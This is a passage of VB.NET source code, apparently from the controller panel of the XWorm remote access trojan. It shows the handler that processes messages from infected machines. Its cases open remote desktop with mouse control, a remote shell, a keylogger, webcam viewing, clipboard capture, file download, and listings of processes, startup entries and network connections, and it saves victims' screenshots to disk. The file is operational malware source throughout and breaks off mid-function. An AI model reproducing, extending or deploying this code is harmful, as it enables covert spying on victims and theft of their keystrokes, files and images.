1706 lines
99 KiB
VB.net
1706 lines
99 KiB
VB.net
Imports System.IO
|
|
Imports System.Threading
|
|
Imports GMap.NET
|
|
Imports GMap.NET.MapProviders
|
|
Imports GMap.NET.WindowsForms
|
|
Imports GMap.NET.WindowsForms.Markers
|
|
Imports Microsoft.VisualBasic.CompilerServices
|
|
Imports NAudio.Wave
|
|
Imports Newtonsoft.Json
|
|
Imports XWorm.Stealer
|
|
|
|
Public Class Messages
|
|
|
|
Public Shared F As Main
|
|
Delegate Sub _Read(ByVal C As Client, ByVal b() As Byte)
|
|
Public Shared GetCountry As GeoIP = New GeoIP(Application.StartupPath & "\GeoIP.dat")
|
|
Public Shared Sub Read(ByVal C As Client, ByVal b() As Byte)
|
|
Try
|
|
Dim A As String() = Split(BS(AES_Decryptor(b, C)), SettingsHelper.SPL)
|
|
Select Case A(0)
|
|
Case "INFO"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Try
|
|
C.LV = F.Lv1.Items.Insert(0, C.IP.Split(":")(0), GetCountry.LookupCountryCode(C.IP.Split(":")(0)) & ".png")
|
|
C.LV.Tag = C
|
|
C.LV.UseItemStyleForSubItems = False
|
|
C.LV.SubItems.Add(GetCountry.LookupCountryName(C.IP.Split(":")(0)))
|
|
For i As Integer = 1 To A.Length - 1
|
|
C.LV.SubItems.Add(A(i))
|
|
Next
|
|
C.LV.SubItems.Add(GetNotes(A(1)))
|
|
C.LV.SubItems.Add("0d 0h 0m 0s")
|
|
C.LV.SubItems.Add("0000 MS")
|
|
C.LV.SubItems.Add("...")
|
|
F.Lv1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
F._ActiveWindow.Width = 500
|
|
SettingsHelper.Online.Add(C)
|
|
C.ID = C.LV.SubItems(F._ID.Index).Text
|
|
LVLog(C.IP.Split(":")(0) & " Connected", Color.Green)
|
|
If SettingsHelper.NOTEF = True Then
|
|
F.NotifyIcon1.BalloonTipText = "Connected: " & C.IP.Split(":")(0)
|
|
F.NotifyIcon1.ShowBalloonTip(100)
|
|
End If
|
|
Catch ex As Exception
|
|
Debug.WriteLine("INFO: " & ex.Message)
|
|
End Try
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "RD-"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As RemoteDesktop = My.Application.OpenForms("Monitor : " & A(4))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New RemoteDesktop
|
|
RD.C = C
|
|
RD.CID = A(4)
|
|
RD.Name = "Monitor : " & A(4)
|
|
RD.Text = "Monitor : " & A(4)
|
|
RD.Sz = New Size(A(2), A(3))
|
|
|
|
Dim num30 As Double = 0.0
|
|
Dim num31 As Double = Conversions.ToDouble(A(1)) - 1.0
|
|
While True
|
|
Dim num33 As Double = num30
|
|
Dim num34 As Double = num31
|
|
If num33 > num34 Then
|
|
Exit While
|
|
End If
|
|
RD.Guna2ComboBox2.Items.Add("Device : " & Conversions.ToString(num30))
|
|
num30 += 1.0
|
|
End While
|
|
RD.Guna2ComboBox1.SelectedIndex = 2
|
|
RD.Guna2ComboBox2.SelectedIndex = 0
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "RD+"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As RemoteDesktop = My.Application.OpenForms("Monitor : " & A(4))
|
|
If RD IsNot Nothing Then
|
|
Dim MM = Image.FromStream(New IO.MemoryStream(Decompress(Convert.FromBase64String(A(1)))))
|
|
RD.Sz = New Size(A(2), A(3))
|
|
RD.PictureBox1.Image = MM
|
|
RD.FPS += 1
|
|
If RD.sw.ElapsedMilliseconds >= 1000 Then
|
|
RD.Text = "Monitor : " & A(4) & " FPS:" & RD.FPS.ToString & " " & "Size:" & BytesToString(b.LongLength)
|
|
RD.FPS = 0
|
|
RD.sw = Stopwatch.StartNew()
|
|
End If
|
|
If RD.ToolStripStatusLabel4.ForeColor = Color.Green Then
|
|
If b.LongLength > 2048 Then ' > 2KB
|
|
Try
|
|
Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", A(4), "Monitor")
|
|
MM.Save(fullPath & "\" & DateAndTime.Now.ToString("MM-dd-yyyy HH;mm;ss;fff") & ".jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
|
|
Catch
|
|
RD.ToolStripStatusLabel4.ForeColor = Color.Black
|
|
End Try
|
|
End If
|
|
End If
|
|
If RD.Guna2GradientButton1.Text = "Capturing..." Then
|
|
If RD.ToolStripStatusLabel5.ForeColor = Color.Green Then
|
|
Dim Pack As Byte() = SB("RDX" & SettingsHelper.SPL & RD.PictureBox1.Width.ToString & SettingsHelper.SPL & RD.PictureBox1.Height.ToString & SettingsHelper.SPL & RD.Guna2ComboBox1.Text.Replace("%", "").ToString)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), Pack)
|
|
Return
|
|
End If
|
|
If RD.ToolStripStatusLabel2.ForeColor = Color.Green Then
|
|
If RD.op = Nothing Then
|
|
Else
|
|
Dim pp As New Point(0, 0)
|
|
pp.X = RD.op.X
|
|
pp.Y = RD.op.Y
|
|
RD.op = Nothing
|
|
Dim Pack As Byte() = SB("Click" & SettingsHelper.SPL & pp.X & SettingsHelper.SPL & pp.Y & SettingsHelper.SPL)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), Pack)
|
|
End If
|
|
End If
|
|
Dim Pack2 As Byte() = SB("RD+" & SettingsHelper.SPL & RD.PictureBox1.Width.ToString & SettingsHelper.SPL & RD.PictureBox1.Height.ToString & SettingsHelper.SPL & RD.Guna2ComboBox1.Text.Replace("%", "").ToString & SettingsHelper.SPL & RD.Guna2ComboBox2.SelectedIndex.ToString)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), Pack2)
|
|
End If
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "shell"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Shell = My.Application.OpenForms("Shell : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New Shell
|
|
RD.C = C
|
|
RD.Name = "Shell : " & A(1)
|
|
RD.Text = "Shell : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "R/"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Shell = My.Application.OpenForms("Shell : " & A(2))
|
|
If RD IsNot Nothing Then
|
|
RD.Guna2TextBox2.Text &= A(1)
|
|
RD.Guna2TextBox2.SelectionStart = RD.Guna2TextBox2.Text.Length
|
|
RD.Guna2TextBox2.ScrollToCaret()
|
|
RD.Guna2TextBox2.Refresh()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "Performance"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Performance = My.Application.OpenForms("Performance : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New Performance
|
|
RD.C = C
|
|
RD.Name = "Performance : " & A(1)
|
|
RD.Text = "Performance : " & A(1)
|
|
RD.Label3.Text = A(2)
|
|
RD.Label4.Text = A(3)
|
|
RD.Label6.Text = CTMGORHR(A(4))
|
|
RD.Label9.Text = A(5)
|
|
RD.Label7.Text = A(6)
|
|
RD.Label12.Text = A(7) & " MHz"
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "GetPerformance"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Performance = My.Application.OpenForms("Performance : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.Guna2CircleProgressBar1.Value = A(2)
|
|
RD.Guna2CircleProgressBar2.Value = A(3)
|
|
RD.Label13.Text = A(4) & " Minutes"
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "ppp"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As ProcessV = My.Application.OpenForms("Process Manager : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New ProcessV
|
|
RD.C = C
|
|
RD.Name = "Process Manager : " & A(1)
|
|
RD.Text = "Process Manager : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "R#"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As ProcessV = My.Application.OpenForms("Process Manager : " & A(3))
|
|
If RD IsNot Nothing Then
|
|
RD.ListView1.Items.Clear()
|
|
RD.ImageList1.Images.Clear()
|
|
Dim _NextProc As String() = Split(A(1), "-=>")
|
|
For i As Integer = 0 To _NextProc.Length - 1
|
|
If _NextProc(i).Length > 0 Then
|
|
Dim itm As New ListViewItem
|
|
If _NextProc(i + 1) = A(2) Then
|
|
itm.ForeColor = Color.Red
|
|
End If
|
|
itm.Text = _NextProc(i)
|
|
itm.SubItems.Add(_NextProc(i + 1))
|
|
itm.SubItems.Add(_NextProc(i + 4))
|
|
Dim im As Image = Image.FromStream(New MemoryStream(Decompress(Convert.FromBase64String(_NextProc(i + 2)))))
|
|
RD.ImageList1.Images.Add(_NextProc(i + 1), im)
|
|
itm.ImageKey = _NextProc(i + 1)
|
|
itm.ToolTipText = _NextProc(i + 3)
|
|
RD.ListView1.Items.Add(itm)
|
|
End If
|
|
i += 4
|
|
Next
|
|
RD.ToolStripStatusLabel4.Text = "Process [" & RD.ListView1.Items.Count & "]"
|
|
RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "StartupManager"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As StartupManager = My.Application.OpenForms("Startup Manager : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New StartupManager
|
|
RD.C = C
|
|
RD.Name = "Startup Manager : " & A(1)
|
|
RD.Text = "Startup Manager : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "GetStartup"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As StartupManager = My.Application.OpenForms("Startup Manager : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
Dim _NextProc As String() = Split(A(2), "-=>")
|
|
For i As Integer = 0 To _NextProc.Length - 1
|
|
If _NextProc(i).Length > 0 Then
|
|
Dim itm As New ListViewItem
|
|
Dim Type As String = _NextProc(i + 1)
|
|
itm.Text = _NextProc(i)
|
|
If Type = "Task" Then
|
|
itm.ImageIndex = 0
|
|
End If
|
|
If Type = "File" Then
|
|
itm.ImageIndex = 1
|
|
End If
|
|
If Type = "Reg" Then
|
|
itm.ImageIndex = 2
|
|
End If
|
|
itm.SubItems.Add(Type)
|
|
itm.SubItems.Add(_NextProc(i + 2))
|
|
itm.ToolTipText = (_NextProc(i + 3))
|
|
RD.ListView1.Items.Add(itm)
|
|
End If
|
|
i += 3
|
|
Next
|
|
RD.ToolStripStatusLabel4.Text = "Startup [" & RD.ListView1.Items.Count & "]"
|
|
RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "Clipboard"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Clipboard = My.Application.OpenForms("Clipboard : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New Clipboard
|
|
RD.C = C
|
|
RD.Name = "Clipboard : " & A(1)
|
|
RD.Text = "Clipboard : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "GetClipboard"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Clipboard = My.Application.OpenForms("Clipboard : " & A(2))
|
|
If RD IsNot Nothing Then
|
|
RD.RichTextBox1.Text = A(1)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "FileM"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As FM = My.Application.OpenForms("File Manager : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New FM
|
|
RD.C = C
|
|
RD.CID = A(1)
|
|
RD.Name = "File Manager : " & A(1)
|
|
RD.Text = "File Manager : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "txtttt"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As TXT = My.Application.OpenForms("Text Viewer : " & A(1))
|
|
If RD Is Nothing Then
|
|
RD = New TXT
|
|
RD.C = C
|
|
RD.Name = "Text Viewer : " & A(1)
|
|
RD.Text = "Text Viewer : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
Try
|
|
Dim RD1 As TXT = My.Application.OpenForms("Text Viewer : " & A(1))
|
|
RD1.Guna2TextBox1.Text = A(2)
|
|
RD1.Guna2TextBox2.Text = A(3)
|
|
Catch
|
|
End Try
|
|
End If
|
|
Exit Sub
|
|
Case "viewimage"
|
|
Dim RD As FM = My.Application.OpenForms("File Manager : " & A(1))
|
|
Try
|
|
Dim MM = New IO.MemoryStream(Decompress(Convert.FromBase64String(A(2))))
|
|
RD.PictureBox1.Image = Image.FromStream(MM)
|
|
MM.Dispose()
|
|
Catch
|
|
End Try
|
|
Exit Sub
|
|
Case "Hash"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Hash = My.Application.OpenForms("File Hash : " & A(1) & " (" & A(3) & ")")
|
|
If RD Is Nothing Then
|
|
RD = New Hash
|
|
RD.C = C
|
|
RD.Name = "File Hash : " & A(1) & " (" & A(3) & ")"
|
|
RD.Text = "File Hash : " & A(1) & " (" & A(3) & ")"
|
|
RD.Show()
|
|
End If
|
|
Try
|
|
Dim RD1 As Hash = My.Application.OpenForms("File Hash : " & A(1) & " (" & A(3) & ")")
|
|
RD1.Text = "File Hash : " & A(1) & " (" & A(3) & ")"
|
|
RD1.Guna2TextBox1.Text = A(2)
|
|
Catch
|
|
End Try
|
|
End If
|
|
Exit Sub
|
|
Case "downloadedfile"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As FM = My.Application.OpenForms("File Manager : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
Dim fullPath = Path.Combine(Application.StartupPath, "ClientsFolder", A(1))
|
|
If A(3).Contains("\") Or A(3).Contains("/") Or A(1).Contains("\") Or A(1).Contains("/") Then
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Red
|
|
RD.ToolStripStatusLabel1.Visible = True
|
|
RD.ToolStripStatusLabel1.Text = IO.Path.GetFileName(A(3)) & " Download Blocked!"
|
|
Else
|
|
If Not Directory.Exists(fullPath) Then
|
|
Directory.CreateDirectory(fullPath)
|
|
End If
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Green
|
|
RD.ToolStripStatusLabel1.Visible = True
|
|
IO.File.WriteAllBytes(fullPath & "\" & A(3), Decompress(Convert.FromBase64String(A(2))))
|
|
RD.ToolStripStatusLabel1.Text = A(3) & " Download Completed"
|
|
End If
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "FileManager"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As FM = My.Application.OpenForms("File Manager : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
If A(2) = "Error" Then
|
|
RD.Guna2GradientButton4.PerformClick()
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Red
|
|
RD.ToolStripStatusLabel1.Visible = True
|
|
RD.ToolStripStatusLabel1.Text = A(3)
|
|
Return
|
|
Else
|
|
RD.ListView1.Items.Clear()
|
|
RD.ImageList1.Images.Clear()
|
|
|
|
Dim Folders As Integer = 0
|
|
Dim Files As Integer = 0
|
|
|
|
RD.ImageList1.Images.Add(0, My.Resources.CD)
|
|
RD.ImageList1.Images.Add(1, My.Resources.HDD)
|
|
RD.ImageList1.Images.Add(2, My.Resources.Folder)
|
|
RD.ImageList1.Images.Add(3, My.Resources.Network)
|
|
RD.ImageList1.Images.Add(4, My.Resources.USB)
|
|
|
|
Dim allFiles As String() = Split(A(2), "-=>")
|
|
For i = 0 To allFiles.Length - 3
|
|
Dim itm As New ListViewItem
|
|
itm.Text = allFiles(i)
|
|
itm.SubItems.Add(allFiles(i + 2))
|
|
itm.SubItems.Add("")
|
|
itm.SubItems.Add(allFiles(i + 1))
|
|
If Not itm.Text.StartsWith("[Drive]") And Not itm.Text.StartsWith("[CD]") And Not itm.Text.StartsWith("[Folder]") And Not itm.Text.StartsWith("[USB]") And Not itm.Text.StartsWith("[NET]") Then
|
|
Dim fsize As Long = Convert.ToInt64(itm.SubItems(3).Text)
|
|
itm.SubItems(3).Text = BytesToString(fsize)
|
|
itm.Tag = Convert.ToInt64(allFiles(i + 1))
|
|
|
|
Dim Extension As String = IO.Path.GetExtension(itm.Text).ToLower
|
|
|
|
itm.SubItems(2).Text = FilesType(itm.Text)
|
|
|
|
If Extension.Length < 1 Then
|
|
If Not RD.ImageList1.Images.ContainsKey("-=>") Then
|
|
RD.ImageList1.Images.Add("-=>", GetFileIcon(Extension, IconSize.SHGFI_LARGEICON))
|
|
End If
|
|
itm.ImageKey = "-=>"
|
|
Else
|
|
If Not RD.ImageList1.Images.ContainsKey(Extension) Then
|
|
RD.ImageList1.Images.Add(Extension, GetFileIcon(Extension, IconSize.SHGFI_LARGEICON))
|
|
End If
|
|
itm.ImageKey = Extension
|
|
End If
|
|
Files += 1
|
|
End If
|
|
|
|
If itm.Text.StartsWith("[Drive]") Then
|
|
itm.ImageIndex = 1
|
|
itm.Text = itm.Text.Substring(7)
|
|
ElseIf itm.Text.StartsWith("[CD]") Then
|
|
itm.ImageIndex = 0
|
|
itm.Text = itm.Text.Substring(4)
|
|
ElseIf itm.Text.StartsWith("[USB]") Then
|
|
itm.ImageIndex = 4
|
|
itm.Text = itm.Text.Substring(5)
|
|
ElseIf itm.Text.StartsWith("[Folder]") Then
|
|
itm.ImageIndex = 2
|
|
itm.Text = itm.Text.Substring(8)
|
|
itm.SubItems(2).Text = "File Folder"
|
|
Folders += 1
|
|
ElseIf itm.Text.StartsWith("[NET]") Then
|
|
itm.ImageIndex = 3
|
|
itm.Text = itm.Text.Substring(5)
|
|
End If
|
|
RD.ListView1.Items.Add(itm)
|
|
i += 2
|
|
Next
|
|
RD.ToolStripStatusLabel2.Text = "Folder[" & Folders.ToString & "]" & " " & "Files[" & Files.ToString & "]"
|
|
Try
|
|
If A(3).ToString.Length > 3 Then
|
|
RD.Guna2TextBox1.Text = A(3) & "\"
|
|
End If
|
|
Catch
|
|
End Try
|
|
RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
End If
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "FileManagerMSG"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As FM = My.Application.OpenForms("File Manager : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Green
|
|
RD.ToolStripStatusLabel1.Visible = True
|
|
RD.ToolStripStatusLabel1.Text = A(2)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "FileManagerErr"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As FM = My.Application.OpenForms("File Manager : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.ToolStripStatusLabel1.ForeColor = Color.Red
|
|
RD.ToolStripStatusLabel1.Visible = True
|
|
RD.ToolStripStatusLabel1.Text = A(2)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "Programs"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Programs = My.Application.OpenForms("Installed Programs : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New Programs
|
|
RD.C = C
|
|
RD.Name = "Installed Programs : " & A(1)
|
|
RD.Text = "Installed Programs : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "GetPrograms"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Programs = My.Application.OpenForms("Installed Programs : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
Dim _NextProc As String() = Split(A(2), "-=>")
|
|
For i As Integer = 0 To _NextProc.Length - 2
|
|
If _NextProc(i).Length > 0 Then
|
|
Dim itm As New ListViewItem
|
|
itm.Text = _NextProc(i)
|
|
itm.SubItems.Add(_NextProc(i + 1))
|
|
itm.ImageIndex = 0
|
|
RD.ListView1.Items.Add(itm)
|
|
End If
|
|
i += 1
|
|
Next
|
|
RD.ToolStripStatusLabel2.Text = "Installed [" & RD.ListView1.Items.Count & "]"
|
|
RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "WBCM"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As WebCam = My.Application.OpenForms("WebCam : " & A(2))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New WebCam
|
|
RD.C = C
|
|
RD.CID = A(2)
|
|
RD.Name = "WebCam : " & A(2)
|
|
RD.Text = "WebCam : " & A(2)
|
|
For Each XX In Strings.Split(A(1), ("-=>"))
|
|
If Not XX = Nothing Then
|
|
RD.Guna2ComboBox2.Items.Add(XX)
|
|
End If
|
|
Next
|
|
RD.Guna2ComboBox2.SelectedIndex += 1
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "Cam"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As WebCam = My.Application.OpenForms("WebCam : " & A(2))
|
|
If RD IsNot Nothing Then
|
|
Dim MM = New IO.MemoryStream(Decompress(Convert.FromBase64String(A(1))))
|
|
RD.PictureBox1.Image = Image.FromStream(MM)
|
|
RD.FPS += 1
|
|
If RD.sw.ElapsedMilliseconds >= 1000 Then
|
|
RD.Text = "WebCam : " & A(2) & " FPS:" & RD.FPS.ToString & " " & "Size:" & BytesToString(b.LongLength)
|
|
RD.FPS = 0
|
|
RD.sw = Stopwatch.StartNew()
|
|
End If
|
|
If RD.ToolStripStatusLabel4.ForeColor = Color.Green Then
|
|
RD.save(MM)
|
|
End If
|
|
If RD.Guna2GradientButton1.Text = "Stop" Then
|
|
Dim Pack As Byte() = SB("Cam" & SettingsHelper.SPL & RD.Guna2ComboBox2.SelectedIndex.ToString & SettingsHelper.SPL & RD.Guna2ComboBox1.Text.Replace("%", "").ToString)
|
|
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), Pack)
|
|
End If
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "Keylogger"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Keylogger = My.Application.OpenForms("Keylogger : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New Keylogger
|
|
RD.C = C
|
|
RD.CID = A(1)
|
|
RD.Name = "Keylogger : " & A(1)
|
|
RD.Text = "Keylogger : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "GetKeylogger"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As Keylogger = My.Application.OpenForms("Keylogger : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.Strb.Append(A(2))
|
|
RD.T1.Text = RD.Strb.ToString
|
|
RD.T1.SelectionStart = RD.T1.Text.Length
|
|
RD.T1.ScrollToCaret()
|
|
RD.T1.Refresh()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "TCPConnection"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As TcpConnectionForm = My.Application.OpenForms("TCP Connections : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New TcpConnectionForm
|
|
RD.C = C
|
|
RD.Name = "TCP Connections : " & A(1)
|
|
RD.Text = "TCP Connections : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "GetTCPConnection"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As TcpConnectionForm = My.Application.OpenForms("TCP Connections : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.ListView1.Items.Clear()
|
|
Dim _NextProc As String() = A(3).Split({"-=>"}, StringSplitOptions.None)
|
|
For i As Integer = 0 To _NextProc.Length - 1
|
|
If _NextProc(i).Length > 0 Then
|
|
Dim lv As ListViewItem = New ListViewItem With {
|
|
.Text = (_NextProc(i))}
|
|
|
|
If _NextProc(i) = A(2) Then
|
|
lv.ForeColor = Color.Red
|
|
End If
|
|
|
|
lv.SubItems.Add(_NextProc(i + 1))
|
|
lv.SubItems.Add(_NextProc(i + 2))
|
|
lv.SubItems.Add(_NextProc(i + 3))
|
|
lv.ToolTipText = _NextProc(i)
|
|
|
|
lv.ImageIndex = 0
|
|
RD.ListView1.Items.Add(lv)
|
|
End If
|
|
i += 3
|
|
Next
|
|
RD.ToolStripStatusLabel2.Text = "Connections [" & RD.ListView1.Items.Count & "]"
|
|
RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "ActiveWindows"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As ACT = My.Application.OpenForms("ActiveWindows : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
|
End If
|
|
If RD Is Nothing Then
|
|
RD = New ACT
|
|
RD.C = C
|
|
RD.Name = "ActiveWindows : " & A(1)
|
|
RD.Text = "ActiveWindows : " & A(1)
|
|
RD.Show()
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
Case "GetWindows"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As ACT = My.Application.OpenForms("ActiveWindows : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
RD.ListView1.Items.Clear()
|
|
Dim _NextProc As String() = Split(A(2), "-=>")
|
|
For i As Integer = 0 To _NextProc.Length - 2
|
|
If _NextProc(i).Length > 0 Then
|
|
Dim itm As New ListViewItem
|
|
itm.Text = _NextProc(i + 1)
|
|
itm.SubItems.Add(_NextProc(i))
|
|
itm.ImageIndex = 0
|
|
RD.ListView1.Items.Add(itm)
|
|
End If
|
|
i += 1
|
|
Next
|
|
RD.ToolStripStatusLabel2.Text = "Windows [" & RD.ListView1.Items.Count & "]"
|
|
RD.ListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize)
|
|
End If
|
|
End If
|
|
Exit Sub
|
|
|
|
Case "Informations"
|
|
If F.InvokeRequired Then : F.Invoke(New _Read(AddressOf Read), New Object() {C, b}) : Exit Sub : Else
|
|
Dim RD As INFO = My.Application.OpenForms("Information : " & A(1))
|
|
If RD IsNot Nothing Then
|
|
C.isDisconnected()
|
|
Return
|
